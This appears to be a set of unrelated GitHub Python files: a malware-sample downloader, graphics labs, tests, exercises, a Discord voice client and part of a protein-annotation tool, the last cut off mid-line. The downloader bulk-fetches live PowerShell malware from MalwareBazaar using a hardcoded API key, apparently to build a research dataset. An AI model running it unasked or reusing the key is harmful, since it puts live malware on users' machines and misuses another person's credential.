+{"seq_id":"728426650","text":"from malwarebazaar import Bazaar\nfrom stream_unzip import stream_unzip\nimport httpx\nfrom typing import List\nimport json\nimport os\n\nmb = Bazaar(api_key=\"38aa4b499daac80716779b5959ece261\")\nOUTDIR = \"bazaar_out\"\n\ndef chunk_download(hash: str):\n    data = {\n            'query': 'get_file',\n            'sha256_hash': hash,\n    }\n    client = httpx.AsyncClient()\n    client.headers = mb.session.headers\n    with httpx.stream('POST', mb.url, data=data) as r:\n        yield from r.iter_bytes(chunk_size=65536)\n\ndef bazaar_download_file(hash: str):\n    ZIP_PASSWORD = b\"infected\"\n    data = {\n        'query': 'get_file',\n        'sha256_hash': hash,\n    }\n    for file_name, file_size, unzipped_chunks in stream_unzip(chunk_download(hash), password=ZIP_PASSWORD):\n        sample_file = open(f\"{OUTDIR}/{file_name.decode()}\", \"wb\")\n        for chunk in unzipped_chunks:\n            sample_file.write(chunk)\n        else:\n            sample_file.close()\n\ndef bazaar_download_files(data):\n    samples_info = []\n    dwn_cache = os.listdir(OUTDIR)\n    for sample in data:\n        hash = sample[\"sha256_hash\"]\n        print(f\"Downloading {hash}.ps1 ...\", end=\"\\r\")\n        if f\"{hash}.ps1\" in dwn_cache:\n            print(f\"File already Downloaded {hash}.ps1\")\n            continue\n        try:\n            bazaar_download_file(hash=hash)\n            samples_info.append(\n                {\n                    \"hash\":sample[\"sha256_hash\"],\n                    \"orig_file_name\":sample[\"file_name\"],\n                    \"clamav_rules\":sample[\"intelligence\"][\"clamav\"]\n                }\n                )\n            print(f\"[+] Downloaded {hash}.ps1 !!!\")\n        except Exception as e:\n            print(f\"Error while downloading {hash}.ps1\")\n            cont = input(\"continue? (y/n)\")\n            if cont == \"y\":\n                continue\n            else:\n                raise e\n    else:\n        with open(f\"{OUTDIR}/sample_info.json\", \"w\") as f:\n            json.dump({\"info\":samples_info}, f)\n\n\nif __name__ == \"__main__\":\n    qry_cache = open(f\"{OUTDIR}/bazaar_query_cache\", \"r+\")\n    if len(qry_cache.read()):\n        qry_cache.seek(0)\n        resp = json.load(qry_cache)\n    else:\n        resp = mb.bazaar_query(type_=\"file_type\", query=\"ps1\",limit = 1000)\n        json.dump(resp, qry_cache)\n    if resp.get(\"data\", False):\n        print(f\"Queried {len(resp['data'])} sample\")\n        print(\"Starting the download process\")\n        bazaar_download_files(resp[\"data\"])\n    else:\n        print(\"Error querying data, printing response:\")\n        print(resp)","repo_name":"Fa2y/Malicious-PowerShell-Dataset","sub_path":"download_mb_samples.py","file_name":"download_mb_samples.py","file_ext":"py","file_size_in_byte":2549,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"20401453906","text":"shape_lib = GetLibrary(Shape)\r\nlight_lib = GetLibrary(Light)\r\n\r\nrec = shape_lib.GetItem('Rectangle')\r\nrec.size = 2000, 3000\r\nrec.sz = 0, 0, 1\r\nrec_n = MeshNode(rec)\r\nrec_n.Rotate(90, 0, 0)\r\n\r\npoint_light = light_lib.GetItem('Point')\r\npoint_light.radiometric = True\r\npoint_light.total_flux = 100\r\npoint_light.color = SpecLightColor('spectral_pink.spd')\r\npoint_light_n = LightNode(point_light)\r\npoint_light_n.Translate(1000, -2000, 1500)\r\npoint_light_n.Rotate(90, 0, 0)\r\n\r\nobs = PlaneObserver()\r\nobs.res = 21, 31\r\nobs.phenom = ObserverData.ILLUM\r\nobs.x_side = 2000, 0, 0\r\nobs.y_side = 0, 3000, 0\r\nobs.dir = 0, 0, - 100\r\nobs_n = ObserverNode(obs)\r\nobs_n.Rotate(90, 0, 0)\r\nobs_n.Translate(-1000, -1, -1500) # set center of a Observer to 0, 0, 0\r\n\r\ncm = ColorModel([it * 10 + 370 for it in range(1, 42)])\r\ncm.SetSpectral()\r\nscene = Scene()\r\nscene.color_model = cm\r\nfor n in [rec_n, point_light_n, obs_n]:\r\n\tscene.AddNode(n)\r\nLoadScene(scene)\r\nimaps = scene.IMapsParams()\r\nimaps.req_acc = 0.01\r\nimaps.SetObserverAsAccSource(obs_n)\r\nkernel = GetKernel()\r\nkernel.CalculateIMaps()\r\n","repo_name":"testpassword/Theoretical-foundations-of-computer-graphics-and-computational-optics","sub_path":"lab2-02.10.22/lab2-02.10.22.py","file_name":"lab2-02.10.22.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7810187901","text":"\"\"\"\nTests for fig.logo\n\"\"\"\nimport pytest\n\nfrom .. import Figure\nfrom ..exceptions import GMTInvalidInput\n\n\n@pytest.mark.mpl_image_compare\ndef test_logo():\n    \"Plot a GMT logo of a 2 inch width as a stand-alone plot\"\n    fig = Figure()\n    fig.logo(D=\"x0/0+w2i\")\n    return fig\n\n\n@pytest.mark.mpl_image_compare\ndef test_logo_on_a_map():\n    \"Plot a GMT logo in the upper right corner of a map\"\n    fig = Figure()\n    fig.coast(region=[-90, -70, 0, 20], projection=\"M6i\", land=\"chocolate\", frame=True)\n    fig.logo(D=\"jTR+o0.1i/0.1i+w3i\", F=True)\n    return fig\n\n\ndef test_logo_fails():\n    \"Make sure logo raises an exception when D is not given\"\n    fig = Figure()\n    with pytest.raises(GMTInvalidInput):\n        fig.logo()\n    return fig\n","repo_name":"zjq02010/LearnPython","sub_path":"venv/Lib/site-packages/pygmt/tests/test_logo.py","file_name":"test_logo.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"25293259163","text":"import sys\n\nX,Y = list(sys.stdin)\n\nN,A,B = map(int, X.split())\nskills = list(map(int, Y.split()))\n\nskills.sort()\nans=0\nl=r=N-1\nfor s in range(N):\n    l = max(l,s)\n    r = max(r,s)\n    while l > s and skills[s] + skills[l] >= A:l-=1\n    while r > s and skills[s] + skills[r] > B:r-=1\n    ans += r-l\n\nsys.stdout.write(str(ans))\n\n","repo_name":"acio-olympiad/2020Contest0","sub_path":"pairs/solutions/james-full.py","file_name":"james-full.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"75560192832","text":"from cocos.cocosnode import CocosNode\nfrom cocos.director import director\n\nfrom pyglet.gl import glPushMatrix, glPopMatrix, GL_LINES, glColor3f\nimport pyglet.graphics\n\nimport pymunk\nimport physics\n\nclass GLNode(CocosNode):\n    \"Convenience class for handling the CocosNode transform matrix when doing OpenGL operations\"\n    def __init__(self):\n        super(GLNode, self).__init__()\n    \n    def draw(self, *args, **kwargs):\n        glPushMatrix()\n        self.transform()\n        self.drawGl()\n        glPopMatrix()\n        \n    def drawGl(self):\n        pass\n\n    \nclass Ground(GLNode):\n    \"Set of horizontal lines at and below defined y coordinate\"\n    def __init__(self, altitude):\n        super(Ground, self).__init__()\n        self.width = director.get_window_size()[0]\n        self.altitude = altitude\n        body = pymunk.Body(body_type=pymunk.Body.STATIC)\n        segment = pymunk.Segment(body, (0, altitude), (self.width, altitude), 0)\n        segment.elasticity = 0.2\n        segment.friction = 0.7\n        physics.space.add(segment)\n    \n    def drawGl(self):\n        glColor3f(0,0.5,0)\n        offset = 0\n        x1, x2 = 0, self.width\n        for i in range(8):\n            y = self.altitude - offset\n            pyglet.graphics.draw(2, GL_LINES, ('v2i', (x1, y, x2, y)))\n            offset += i*2\n    \n","repo_name":"ddunwoody/adastra","sub_path":"adastra/glnode.py","file_name":"glnode.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"30868843616","text":"from . import _native_voice as _native\n\nimport discord\nimport asyncio\nimport logging\n\nfrom discord.backoff import ExponentialBackoff\n\nlog = logging.getLogger(__name__)\n\nclass VoiceClient(discord.VoiceProtocol):\n    def __init__(self, client, channel):\n        super().__init__(client, channel)\n        self._connector = _native.VoiceConnector()\n        self._connection = None\n        if client.user is None:\n            raise ValueError('Client has not been ready and has no client user set up.')\n        self._connector.user_id = client.user.id\n        self._voice_state_complete = asyncio.Event()\n        self._voice_server_complete = asyncio.Event()\n        self._attempts = 0\n        self._runner = None\n        self.guild = channel.guild\n\n    async def on_voice_state_update(self, data):\n        self._connector.session_id = data['session_id']\n\n        if self._connection is not None:\n            channel_id = data['channel_id']\n            if channel_id is None:\n                return await self.disconnect()\n\n            self.channel = channel_id and self.guild.get_channel(int(chananel_id))\n        else:\n            self._voice_state_complete.set()\n\n    async def on_voice_server_update(self, data):\n        if self._voice_server_complete.is_set():\n            log.info('Ignoring extraneous voice server update.')\n            return\n\n        token = data.get('token')\n        server_id = data['guild_id']\n        endpoint = data.get('endpoint')\n\n        if endpoint is None or token is None:\n            log.warning('Awaiting endpoint... This requires waiting. ' \\\n                        'If timeout occurred considering raising the timeout and reconnecting.')\n            return\n\n        endpoint, _, _ = endpoint.rpartition(':')\n        if endpoint.startswith('wss://'):\n            endpoint = endpoint[6:]\n\n        self._connector.update_socket(token, server_id, endpoint)\n        self._voice_server_complete.set()\n\n    async def voice_connect(self):\n        self._attempts += 1\n        await self.guild.change_voice_state(channel=self.channel)\n\n    async def voice_disconnect(self):\n        log.info('The voice handshake is being terminated for Channel ID %s (Guild ID %s)', self.channel.id, self.guild.id)\n        await self.guild.change_voice_state(channel=None)\n\n    async def connect(self, *, reconnect, timeout):\n        log.info('Connecting to voice...')\n        self._voice_state_complete.clear()\n        self._voice_server_complete.clear()\n\n        # This has to be created before we start the flow.\n        futures = [\n            self._voice_state_complete.wait(),\n            self._voice_server_complete.wait(),\n        ]\n\n        # Start the connection flow\n        log.info('Starting voice handshake... (connection attempt %d)', self._attempts + 1)\n        await self.voice_connect()\n\n        try:\n            await discord.utils.sane_wait_for(futures, timeout=timeout)\n        except asyncio.TimeoutError:\n            await self.disconnect(force=True)\n            raise\n\n        log.info('Voice handshake complete. Endpoint found %s', self._connector.endpoint)\n        self._voice_server_complete.clear()\n        self._voice_state_complete.clear()\n\n        loop = asyncio.get_running_loop()\n        self._connection = await self._connector.connect(loop)\n        if self._runner is not None:\n            self._runner.cancel()\n\n        self._runner = loop.create_task(self.reconnect_handler(reconnect, timeout))\n\n    async def reconnect_handler(self, reconnect, timeout):\n        backoff = ExponentialBackoff()\n        loop = asyncio.get_running_loop()\n\n        while True:\n            try:\n                await self._connection.run(loop)\n            except _native_voice.ConnectionClosed as e:\n                log.info('Voice connection got a clean close %s', e)\n                await self.disconnect()\n                return\n            except _native_voice.ConnectionError as e:\n                log.exception('Internal voice error: %s', e)\n                await self.disconnect()\n                return\n            except (_native_voice.ReconnectError) as e:\n                if not reconnect:\n                    await self.disconnect()\n                    raise\n\n                retry = backoff.delay()\n                log.exception('Disconnected from voice... Reconnecting in %.2fs.', retry)\n\n                await asyncio.sleep(retry)\n                await self.voice_disconnect()\n                try:\n                    await self.connect(reconnect=True, timeout=timeout)\n                except asyncio.TimeoutError:\n                    # at this point we've retried 5 times... let's continue the loop.\n                    log.warning('Could not connect to voice... Retrying...')\n                    continue\n            else:\n                # The function above is actually a loop already\n                # So if we're here then it exited normally\n                await self.disconnect()\n                return\n\n    async def disconnect(self, *, force=False):\n        try:\n            if self._connection is not None:\n                self._connection.disconnect()\n                self._connection = None\n\n            await self.voice_disconnect()\n        finally:\n            self.cleanup()\n\n    def play(self, title):\n        if self._connection:\n            self._connection.play(title)\n\n    def stop(self):\n        if self._connection:\n            self._connection.stop()\n\n    def is_playing(self):\n        if self._connection:\n            return self._connection.is_playing()\n        return False\n\n    def _debug_info(self):\n        if self._connection:\n            return self._connection.get_state()\n        return {}\n","repo_name":"Rapptz/discord-ext-native-voice","sub_path":"discord/ext/native_voice/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5664,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"60"}
+{"seq_id":"43240011210","text":"def main():\n    print(comparisonCoutingSort([99,1,14,29,20]))\n\ndef comparisonCoutingSort(a):\n    count = []\n    sort = [];\n    for i in range(len(a)):\n        count.append(0)\n        sort.append(-1)\n\n    for i in range(len(a)-1):\n        for j in range(i+1,len(a)):\n            if a[i] < a[j]:\n                count[j] = count[j] + 1\n            else:\n                count[i] = count[i] + 1\n    for i in range(len(a)):\n        pos = count[i]\n        sort[pos] = a[i]\n\n    return sort\n\nmain()","repo_name":"dletk/PythonPersonal","sub_path":"algorithmClass/hw0q3.py","file_name":"hw0q3.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18390797175","text":"# a=[\"manju\",\"ram\",\"krishna\",\"mahadev\"]\r\n# a[0]=\"sai\"\r\n# print(a)\r\n\r\n\r\na=[\"manju\",\"honey\",\"nany\",\"mahadev\"]\r\na[:3]=[\"sai\",\"ram\",\"mahadev\"]\r\nprint(a)\r\n\r\na= [\"apple\", \"banana\", \"cherry\"]\r\na[1:3]=[\"watermelon\"]\r\nprint(a)\r\n\r\na= [\"apple\", \"banana\", \"cherry\"]\r\na.insert(2,\"berries\")\r\nprint(a)","repo_name":"manjusha1911/pyton_basic_concepts","sub_path":"list chnge item value.py","file_name":"list chnge item value.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"75274468990","text":"#!/usr/bin/python3\n\nif __name__ == \"__main__\":\n    \"\"\"Adds all arguments.\"\"\"\n    import sys\n\n    args = sys.argv\n    arg_count = len(args)\n    sums = 0\n    if arg_count == 1:\n        print(0)\n    else:\n        for i in range(1, len(args), 1):\n            sums += int(args[i])\n        print(\"{:d}\".format(sums))\n","repo_name":"AdebayoEmmanuel/alx-higher_level_programming","sub_path":"0x02-python-import_modules/3-infinite_add.py","file_name":"3-infinite_add.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27179387562","text":"try:\n    from mantis.assembler import *\nexcept:\n    from assembler import *\n\ntry:\n    from mantis.cython_src.get_non_overlapping_hits import get_non_overlapping_hits\nexcept:\n    if not cython_compiled():\n        compile_cython()\n        try:\n            from mantis.cython_src.get_non_overlapping_hits import get_non_overlapping_hits\n        except:\n            kill_switch(CythonNotCompiled, f'{MANTIS_FOLDER}mantis{SPLITTER}utils.py')\n\n\nclass Consensus(UniFunc_wrapper):\n\n    def __init__(self):\n        UniFunc_wrapper.__init__(self)\n\n    def get_ref_weight(self, ref):\n        '''\n        NCBI\n        NOG\n        Pfam-A\n        kofam\n        '''\n        if re.search('NCBI[GT]', ref):\n            corrected_ref = 'ncbi'\n        elif re.search('NOG[GT]', ref):\n            corrected_ref = 'nog'\n        elif 'Pfam-A' in ref:\n            corrected_ref = 'pfam'\n        elif ref == 'kofam_merged':\n            corrected_ref = 'kofam'\n        else:\n            corrected_ref = str(ref)\n\n        if corrected_ref in self.mantis_ref_weights:\n            return self.mantis_ref_weights[corrected_ref]\n        else:\n            return self.mantis_ref_weights['else']\n\n    # this will add the descriptions from the respective GO IDs, but we only add them if we dont have too many GO IDs\n    def add_from_go_obo(self, query_dict):\n        for ref_file in query_dict:\n            for ref_hit in query_dict[ref_file]:\n                clean_query_identifiers = self.remove_unspecific_identifiers(\n                    query_dict[ref_file][ref_hit]['identifiers'])\n                temp_ref_hit_dict_identifiers = set(query_dict[ref_file][ref_hit]['identifiers'])\n                temp_ref_hit_dict_description = set(query_dict[ref_file][ref_hit]['description'])\n                for id_str in clean_query_identifiers:\n                    if 'go:' in id_str[0:3]:\n                        if id_str in self.go_dict:\n                            extra_info = self.go_dict[id_str]\n                            for go_id in extra_info['identifiers']:\n                                temp_ref_hit_dict_identifiers.add(go_id)\n                            for syn in extra_info['synonyms']:\n                                temp_ref_hit_dict_description.add(syn)\n                # we use the temp info to help matching annotations, but we dont want to add them to the final annotations\n                query_dict[ref_file][ref_hit]['temp_identifiers'] = set(temp_ref_hit_dict_identifiers)\n                for id_str in temp_ref_hit_dict_identifiers:\n                    # some annotations have unspecific ec numbers, if so, we remove them from the similarity analysis\n                    if 'enzyme_ec:' in id_str and '-' in id_str:\n                        query_dict[ref_file][ref_hit]['temp_identifiers'].remove(id_str)\n                query_dict[ref_file][ref_hit]['temp_description'] = temp_ref_hit_dict_description\n\n    def read_interpreted_annotation(self, interpreted_annotation_tsv):\n        with open(interpreted_annotation_tsv) as file:\n            line = file.readline()\n            line = file.readline()\n            dict_annotations = {}\n            while line:\n                line = line.strip('\\n')\n                line = line.strip()\n                line = line.split('\\t')\n                query, ref_file, ref_hit, ref_hit_accession, evalue, bitscore, direction, query_len, query_start, query_end, ref_start, ref_end, ref_len = line[0:13]\n                annotations = line[14:]\n                if query not in dict_annotations: dict_annotations[query] = {'query_len': int(query_len),\n                                                                             'ref_files': {}}\n                # since the same hmm file can have different hits for the same query\n                if ref_file not in dict_annotations[query]['ref_files']:\n                    dict_annotations[query]['ref_files'][ref_file] = {}\n                dict_annotations[query]['ref_files'][ref_file][ref_hit] = {'identifiers': set(), 'description': set(),\n                                                                           'evalue': float(evalue),\n                                                                           'bitscore': float(bitscore),\n                                                                           'direction': direction,\n                                                                           'ref_hit_accession': ref_hit_accession,\n                                                                           'query_start': int(query_start),\n                                                                           'query_end': int(query_end),\n                                                                           'ref_start': int(ref_start),\n                                                                           'ref_end': int(ref_end),\n                                                                           'ref_len': int(ref_len),\n                                                                           }\n                for annot in annotations:\n                    if 'description:' in annot[0:len('description:')]:\n                        annot_text = annot.split(':')[1:]\n                        annot_text = ' '.join(annot_text)\n                        dict_annotations[query]['ref_files'][ref_file][ref_hit]['description'].add(annot_text)\n                    elif 'is_essential_gene:' in annot:\n                        dict_annotations[query]['is_essential_gene'] = True\n                    else:\n                        dict_annotations[query]['ref_files'][ref_file][ref_hit]['identifiers'].add(annot)\n                line = file.readline()\n        for query in dict_annotations:\n            self.add_from_go_obo(dict_annotations[query]['ref_files'])\n        return dict_annotations\n\n    def generate_gff_line_consensus(self, query,\n                                    dict_annotations,\n                                    is_essential,\n                                    consensus_hits,\n                                    total_hits,\n                                    ref_files_consensus,\n                                    ref_names_consensus):\n        # https://github.com/The-Sequence-Ontology/Specifications/blob/master/gff3.md\n        # verified with http://genometools.org/cgi-bin/gff3validator.cgi\n        for ref_file in dict_annotations:\n            ref_annotations = dict_annotations[ref_file]\n            for ref_id in ref_annotations:\n                ref_id_annotations = dict_annotations[ref_file][ref_id]\n                query_start = str(ref_id_annotations['query_start'])\n                query_end = str(ref_id_annotations['query_end'])\n                evalue = str(ref_id_annotations['evalue'])\n                direction = ref_id_annotations['direction']\n                ref_start = ref_id_annotations['ref_start']\n                ref_end = ref_id_annotations['ref_end']\n                ref_len = ref_id_annotations['ref_len']\n                hit_accession = ref_id_annotations['ref_hit_accession']\n                hit_identifiers = ref_id_annotations['identifiers']\n                hit_description = ref_id_annotations['description']\n                gff_line = '\\t'.join([query, 'Mantis', 'CDS', query_start, query_end, evalue, direction, '0']) + '\\t'\n                if hit_accession != '-':\n                    attributes = f'Name={ref_id};Target={ref_id} {ref_start} {ref_end};Alias={hit_accession}'\n                else:\n                    attributes = f'Name={ref_id};Target={ref_id} {ref_start} {ref_end}'\n                notes = f'Note=ref_file:{ref_file},ref_len:{ref_len}'\n                descriptions = []\n                for d in hit_description:\n                    descriptions.append(f'description:{d}')\n                if descriptions:\n                    notes += ',' + ','.join(descriptions)\n                if is_essential:\n                    notes += f',is_essential_gene:True'\n\n                dbxref = []\n                ontology_terms = []\n                for i in hit_identifiers:\n                    if not i.startswith('go:'):\n                        dbxref.append(i)\n                    else:\n                        ontology_terms.append(i)\n                all_annotations = None\n                if dbxref and ontology_terms:\n                    all_annotations = 'Dbxref=' + ','.join(dbxref) + ';' + 'Ontology_term=' + ','.join(ontology_terms)\n                elif dbxref and not ontology_terms:\n                    all_annotations = 'Dbxref=' + ','.join(dbxref)\n                elif not dbxref and ontology_terms:\n                    all_annotations = 'Ontology_term=' + ','.join(ontology_terms)\n                if all_annotations:\n                    gff_line += ';'.join([attributes, notes, all_annotations])\n                else:\n                    gff_line += ';'.join([attributes, notes])\n\n                yield gff_line\n\n    def yield_seq_regions(self, interpreted_annotation_tsv):\n        already_added = set()\n        with open(interpreted_annotation_tsv) as file:\n            file.readline()\n            line = file.readline()\n            while line:\n                line = line.strip('\\n')\n                line = line.strip()\n                line = line.split('\\t')\n                query, ref_file, ref_hit, ref_hit_accession, evalue, bitscore, direction, query_len, query_start, query_end, ref_start, ref_end, ref_len = line[0:13]\n                if query not in already_added:\n                    already_added.add(query)\n                    yield f'##sequence-region {query} 1 {query_len}\\n'\n                line = file.readline()\n\n    def generate_consensus(self, interpreted_annotation_tsv, stdout_file_path=None):\n        dict_annotations = self.read_interpreted_annotation(interpreted_annotation_tsv)\n        self.query_match_hits = {}\n        for query in dict_annotations:\n            hits = []\n            query_dict = dict_annotations[query]\n            query_len = query_dict['query_len']\n            ref_files = query_dict['ref_files']\n            for ref_file in ref_files:\n                for ref_hit in ref_files[ref_file]:\n                    hits.append([ref_file, ref_hit, ref_files[ref_file][ref_hit]])\n            if self.domain_algorithm == 'heuristic':\n                best_hits = self.get_best_hits_approximation(list(hits), sorting_class='consensus',\n                                                             sorting_type=self.sorting_type)\n            elif self.domain_algorithm == 'bpo':\n                best_hits = self.get_lowest_hit(list(hits), sorting_class='consensus', sorting_type=self.sorting_type)\n            else:\n                best_hits = self.get_best_cython_consensus(list(hits),\n                                                           query_len,\n                                                           query,\n                                                           stdout_file_path=stdout_file_path)\n            # expanding hits\n            consensus_hits, total_hits, ref_files_consensus, ref_names_consensus = self.expand_best_combination(best_hits, dict_annotations[query]['ref_files'])\n            if 'is_essential_gene' in dict_annotations[query]:\n                is_essential = True\n            else:\n                is_essential = False\n            consensus_line = self.generate_consensus_line(query,\n                                                          dict_annotations[query]['ref_files'],\n                                                          is_essential,\n                                                          consensus_hits,\n                                                          total_hits,\n                                                          ref_files_consensus,\n                                                          ref_names_consensus)\n            gff_lines = []\n            if self.output_gff:\n                gff_lines = self.generate_gff_line_consensus(query,\n                                                             dict_annotations[query]['ref_files'],\n                                                             is_essential,\n                                                             consensus_hits,\n                                                             total_hits,\n                                                             ref_files_consensus,\n                                                             ref_names_consensus)\n            yield consensus_line, gff_lines\n\n    # same method as non_overlapping hits from Homology_processor , with some minor alterations to account for consensus\n    # @timeit_function\n    def get_best_cython_consensus(self, hits, query_len, query, stdout_file_path=None):\n        try:\n            best_hits = self.get_best_hits_Consensus(list(hits), query_len)\n        except (TimeoutError, RecursionError):\n            best_hits = self.get_best_hits_approximation(list(hits), sorting_class='consensus', sorting_type='evalue')\n            stdout_file = open(stdout_file_path, 'a+')\n            print(f'Query {query} was approximated during consensus generation', flush=True, file=stdout_file)\n            stdout_file.close()\n        return best_hits\n\n    def query_hits_to_cython_Consensus(self, query_hits):\n        conversion_dict = {}\n        res = set()\n        for hit_i in range(len(query_hits)):\n            ref_file = query_hits[hit_i][0]\n            ref_hit = query_hits[hit_i][1]\n            hit_info = query_hits[hit_i][2]\n            query_start, query_end = recalculate_coordinates(hit_info['query_start'],\n                                                             hit_info['query_end'],\n                                                             self.overlap_value)\n            res.add(tuple([\n                hit_i,\n                query_start,\n                query_end,\n                ref_hit\n            ]))\n            conversion_dict[hit_i] = [ref_file, ref_hit, hit_info]\n        return res, conversion_dict\n\n    # this is for heuristic and bpo\n    def sort_scaled_hits(self, query_hits, sorting_type):\n        if not query_hits:\n            return query_hits\n        self.add_scaled_values(query_hits)\n        # this sorting is similar to self.sort_hits but is a bit more specific\n        sorted_hits = sorted(query_hits, key=lambda k: k[2][f'scaled_{sorting_type}'], reverse=True)\n        res = []\n        # then we separate by sorting value\n        sorted_hits_groups = []\n        c = 0\n        for i in sorted_hits:\n            hit_value = i[2][f'scaled_{sorting_type}']\n            if not sorted_hits_groups:\n                sorted_hits_groups.append([])\n                current = hit_value\n            if hit_value == current:\n                sorted_hits_groups[c].append(i)\n            else:\n                sorted_hits_groups.append([i])\n                c += 1\n                current = hit_value\n        sec_sorting_type = 'bitscore' if sorting_type == 'evalue' else 'evalue'\n        for sg in sorted_hits_groups:\n            temp = sorted(sg, key=lambda k: k[2][f'scaled_{sec_sorting_type}'], reverse=True)\n            res.extend(temp)\n        for i in res:\n            i[2].pop('scaled_evalue')\n            i[2].pop('scaled_bitscore')\n        return res\n\n    def get_min_max_alt_alg(self, query_hits):\n        all_bitscore, all_evalue = [], []\n        for hit in query_hits:\n            ref_file, ref_hit, hit_info = hit\n            if hit_info['evalue']:\n                all_evalue.append(hit_info['evalue'])\n            if hit_info['bitscore']:\n                all_bitscore.append(hit_info['bitscore'])\n        min_val_bitscore, max_val_bitscore = log10(min(all_bitscore)), log10(max(all_bitscore))\n        if all_evalue:\n            max_val_evalue, min_val_evalue = log10(min(all_evalue)), log10(max(all_evalue))\n        else:\n            min_val_evalue, max_val_evalue = 0, 0\n        return min_val_evalue, max_val_evalue, min_val_bitscore, max_val_bitscore\n\n    def add_scaled_values(self, query_hits):\n        min_val_evalue, max_val_evalue, min_val_bitscore, max_val_bitscore = self.get_min_max_alt_alg(query_hits)\n        for hit in query_hits:\n            ref_file, ref_hit, hit_info = hit\n            hit_weight = self.get_ref_weight(ref_file)\n            hit_annotation_score = self.get_annotation_score(hit_info)\n            if hit_info['evalue']:\n                hit_info['scaled_evalue'] = min_max_scale(log10(hit_info['evalue']),\n                                                          min_val_evalue,\n                                                          max_val_evalue) + 0.01\n            else:\n                hit_info['scaled_evalue'] = 2\n            hit_info['scaled_bitscore'] = min_max_scale(log10(hit_info['bitscore']),\n                                                        min_val_bitscore,\n                                                        max_val_bitscore) + 0.01\n\n            hit_info['scaled_evalue'] *= (hit_annotation_score + hit_weight) / 2\n            hit_info['scaled_bitscore'] *= (hit_annotation_score + hit_weight) / 2\n\n    def get_annotation_score(self, hit_info):\n        if hit_info['temp_identifiers'] and hit_info['temp_description']:\n            annotation_score = 1\n        elif hit_info['temp_identifiers']:\n            annotation_score = 0.75\n        elif hit_info['temp_description']:\n            annotation_score = 0.5\n        else:\n            annotation_score = 0.25\n        return annotation_score\n\n    def get_intersecting_sources(self, combo, query_hits):\n        res = 0\n        for hit in combo:\n            hit_source, hit_name, hit_info = hit\n            for q_hit in query_hits:\n                q_hit_source, q_hit_name, q_hit_info = q_hit\n                if hit_source != q_hit_source:\n                    if self.is_hit_match(hit_info, hit_name, hit_source, q_hit_info, q_hit_name, q_hit_source):\n                        res += 1\n        return (res + len(combo)) / len(query_hits)\n\n    def get_combo_score_Consensus(self, combo, query_length, min_val, max_val, ref_sources):\n        '''\n        ref_sources= number of intersecting sources divided by number of hits from all sources\n        metrics for consensus:\n        intersecting sources = amount of different sources that intersect with the combo\n        combo coverage  = percentage of the sequence covered by the combo\n        combo evalue = summed scaled evalue of the combo. Is averaged\n        combo weight = summed ref weight of the combo. Better sources should give better combinations of hits . Is averaged\n        combo annotation score = score of the annotation (0.25 if just the ref name, 0.5 if just the description, 0.75 if just identifiers, 1 if identifiers and description\n        '''\n        average_value = 0\n        average_hit_coverage = 0\n        total_weight = 0\n        annotation_score = 0\n        hit_ranges = []\n\n        for hit in combo:\n            ref_file, ref_hit, hit_info = hit\n            hit_start, hit_end, ref_start, ref_end = hit_info['query_start'], hit_info['query_end'], \\\n                                                     hit_info['ref_start'], hit_info['ref_end']\n            ref_len = hit_info['ref_len']\n            hit_evalue = hit_info['evalue']\n            hit_bitscore = hit_info['bitscore']\n            hit_coverage = (hit_end - hit_start + 1) / query_length\n            # ref_coverage = (ref_end - ref_start + 1) / ref_len\n            average_hit_coverage += hit_coverage\n            # lower is best\n            if self.sorting_type == 'evalue':\n                if hit_evalue:\n                    scaled_value = min_max_scale(log10(hit_evalue), min_val, max_val) + 0.01\n                else:\n                    scaled_value = 2\n            # higher is best\n            elif self.sorting_type == 'bitscore':\n                if hit_bitscore:\n                    scaled_value = min_max_scale(log10(hit_bitscore), min_val, max_val) + 0.01\n                else:\n                    scaled_value = 0\n            average_value += scaled_value\n\n            hit_ranges.append([hit_start, hit_end])\n            total_weight += self.get_ref_weight(ref_file)\n            annotation_score += self.get_annotation_score(hit_info)\n\n        # sources score\n        sources_score = (ref_sources + annotation_score / len(combo) + total_weight / len(combo)) / 3\n        # sequence hit quality\n        average_value = average_value / len(combo)\n        # average coverage of all hits\n        average_hit_coverage /= len(combo)\n        # coverage of combination\n        combination_coverage = get_combination_ranges(hit_ranges)\n        combination_coverage /= query_length\n        if self.best_combo_formula == 1:  # default\n            combo_score = sources_score * average_value\n        elif self.best_combo_formula == 2:\n            combo_score = sources_score * average_value * combination_coverage * average_hit_coverage\n        elif self.best_combo_formula == 3:\n            combo_score = (sources_score * average_value * combination_coverage * average_hit_coverage) ** (1 / 4)\n        elif self.best_combo_formula == 4:\n            combo_score = sources_score * average_value * combination_coverage\n        elif self.best_combo_formula == 5:\n            combo_score = (sources_score * average_value * combination_coverage) ** (1 / 3)\n        elif self.best_combo_formula == 6:\n            combo_score = (sources_score * average_value + average_hit_coverage + combination_coverage) / 3\n        elif self.best_combo_formula == 7:\n            combo_score = (sources_score * 2 * average_value + average_hit_coverage + combination_coverage) / 4\n        elif self.best_combo_formula == 8:\n            combo_score = (sources_score * 2 * average_value + combination_coverage) / 3\n        elif self.best_combo_formula == 9:\n            combo_score = (sources_score * 3 * average_value + average_hit_coverage + combination_coverage) / 5\n        elif self.best_combo_formula == 10:\n            combo_score = (sources_score * 3 * average_value + combination_coverage) / 4\n        elif self.best_combo_formula == 11:\n            combo_score = average_value * sources_score * (combination_coverage) ** 